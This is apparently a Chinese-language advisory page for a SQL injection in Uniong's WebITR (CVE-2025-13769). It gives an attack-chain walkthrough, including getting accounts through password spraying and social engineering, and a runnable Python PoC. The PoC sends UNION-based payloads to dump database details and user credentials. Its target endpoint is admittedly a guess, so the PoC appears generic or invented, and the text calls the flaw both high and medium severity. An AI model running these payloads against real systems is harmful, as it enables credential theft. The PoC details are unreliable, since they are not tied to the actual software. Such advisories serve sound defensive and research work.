CVE-2025-13769 WebITR SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-13769

漏洞类型

SQL注入

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WebITR (by Uniong)

漏洞概述

CVE-2025-13769是WebITR应用程序中的一个高危SQL注入漏洞，由台湾计算机紧急响应小组（[email protected]）发现并报告。WebITR是由Uniong公司开发的一款应用程序，该漏洞存在于应用程序的数据库交互模块中，允许经过身份验证的远程攻击者注入任意SQL命令，从而读取数据库中的敏感内容。

该漏洞的CVSS 3.1评分为6.5，属于中等严重程度。攻击向量为网络层面（AV:N），攻击复杂度低（AC:L），需要低权限用户身份（PR:L），无需用户交互（UI:N）。漏洞主要影响机密性（Confidentiality），评分高达高（H），表明攻击者可以获取大量敏感数据库信息，而完整性和可用性不受影响（I:N/A:N）。

WebITR作为企业级应用程序，通常处理大量业务数据和用户信息。一旦遭受SQL注入攻击，攻击者可以未经授权访问数据库中的各类敏感信息，包括但不限于用户账户凭证、业务数据、财务信息等。这不仅可能导致数据泄露，还可能为后续攻击（如横向移动、权限提升）提供基础。

该漏洞于2025年11月28日被正式披露，考虑到其对机密性的严重影响以及相对较低的攻击门槛，建议使用受影响版本WebITR的组织立即评估风险并采取相应的防护措施。

技术细节

CVE-2025-13769是一个典型的SQL注入漏洞，存在于WebITR应用程序处理用户输入并构建SQL查询的过程中。攻击者可以通过在应用程序的特定输入字段中注入恶意构造的SQL语句片段，利用应用程序对用户输入的不当处理，实现对数据库的未授权操作。

漏洞产生的根本原因在于应用程序在构建SQL查询时，直接将用户可控的输入拼接到SQL语句中，而未进行充分的输入验证或使用参数化查询（Prepared Statements）。这种不安全的编程实践使得攻击者可以通过构造特定的输入内容，改变原有SQL语句的逻辑结构，从而执行攻击者指定的任意SQL命令。

在利用此漏洞时，经过身份验证的攻击者（需要拥有有效的用户账户和低权限即可）可以构造类似'union select'、'union join'或基于布尔值的盲注等SQL注入技术，从数据库中提取敏感信息。常见的攻击手法包括：使用UNION语句直接读取数据库表结构和数据；利用条件判断语句（如if语句）进行基于时间的盲注；或者通过修改WHERE子句条件来绕过认证逻辑。

由于该漏洞允许读取数据库内容，攻击者可能获取的信息包括：用户账户名和密码哈希、配置文件中的敏感参数、业务数据库中的机密数据等。这些信息可被用于进一步的攻击活动，如账户劫持、数据窃取或内网渗透。修复此漏洞需要对所有数据库交互代码进行安全审计，实施参数化查询，并对用户输入进行严格的输入验证和白名单过滤。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先识别目标WebITR应用程序，确认其版本和运行环境。通过分析应用程序结构，定位可能存在SQL注入漏洞的输入点，如搜索框、登录表单、API端点等。

STEP 2

步骤2: 获取认证

攻击者需要获取WebITR系统的有效用户账户（低权限即可）。可以通过默认凭证、密码喷洒、社工攻击或利用其他漏洞获取初始访问权限。

STEP 3

步骤3: 构造恶意Payload

使用SQL注入技术构造恶意Payload。常见的注入技术包括：UNION注入（联合查询）、布尔盲注（基于返回结果的true/false判断）、时间盲注（基于响应时间的延迟判断）等。

STEP 4

步骤4: 执行注入攻击

通过HTTP请求将恶意Payload发送到存在漏洞的端点。WebITR应用程序在处理用户输入时，直接将攻击者构造的SQL片段拼接到原始查询中，改变SQL语句的执行逻辑。

STEP 5

步骤5: 数据提取

成功注入后，攻击者可以读取数据库中的任意数据。根据CVSS向量的机密性影响评级为'H'（高），攻击者能够获取包括用户凭证、业务数据、配置信息等敏感内容。

STEP 6

步骤6: 持久化利用

攻击者可能将提取的数据用于进一步攻击活动，如横向移动到其他系统、劫持高权限账户或出售窃取的数据以获取经济利益。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-13769 PoC - WebITR SQL Injection
# Authenticated attacker can inject arbitrary SQL commands
# Target: WebITR application by Uniong

import requests
import sys
from urllib.parse import urljoin

def exploit_sql_injection(target_url, session_cookie):
    """
    Exploit SQL injection in WebITR to extract database contents
    """
    headers = {
        'Cookie': f'SESSION={session_cookie}',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    # Vulnerable endpoint - adjust based on actual application structure
    vuln_endpoint = urljoin(target_url, '/api/user/query')
    
    # SQL Injection payload to extract database version
    # Using UNION-based injection technique
    payload = {
        'username': "admin' UNION SELECT NULL,version(),user(),database()-- -",
        'search_param': 'id'
    }
    
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Injecting payload: {payload}")
    
    try:
        response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print(f"[+] Request sent successfully")
            print(f"[+] Response preview: {response.text[:500]}")
            
            # Extract sensitive data from response
            # Parse database version, user, and database name
            if 'MySQL' in response.text or 'PostgreSQL' in response.text:
                print("[!] SQL Injection successful - database info leaked")
                return True
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False

def extract_users(target_url, session_cookie):
    """
    Extract user credentials from database
    """
    headers = {
        'Cookie': f'SESSION={session_cookie}',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    # Payload to extract user table data
    payload = {
        'username': "admin' UNION SELECT NULL,username,password,NULL FROM users-- -",
        'search_param': 'id'
    }
    
    vuln_endpoint = urljoin(target_url, '/api/user/query')
    
    try:
        response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] User data extraction response: {response.text[:500]}")
            return True
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_url> <session_cookie>")
        print(f"Example: {sys.argv[0]} https://vulnerable-site.com/ 'abc123session'")
        sys.exit(1)
    
    target = sys.argv[1]
    cookie = sys.argv[2]
    
    # Step 1: Verify SQL injection vulnerability
    exploit_sql_injection(target, cookie)
    
    # Step 2: Extract sensitive data
    extract_users(target, cookie)

影响范围

WebITR (Uniong) - 所有未修复版本

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1）限制数据库账户权限，使用只读账户访问敏感数据；2）实施严格的输入验证和过滤规则；3）部署WAF并配置SQL注入检测规则；4）加强对数据库访问日志的监控，及时发现异常行为；5）考虑暂时禁用受影响的功能模块，待官方修复后再恢复使用。同时建议关注厂商公告，及时获取安全更新。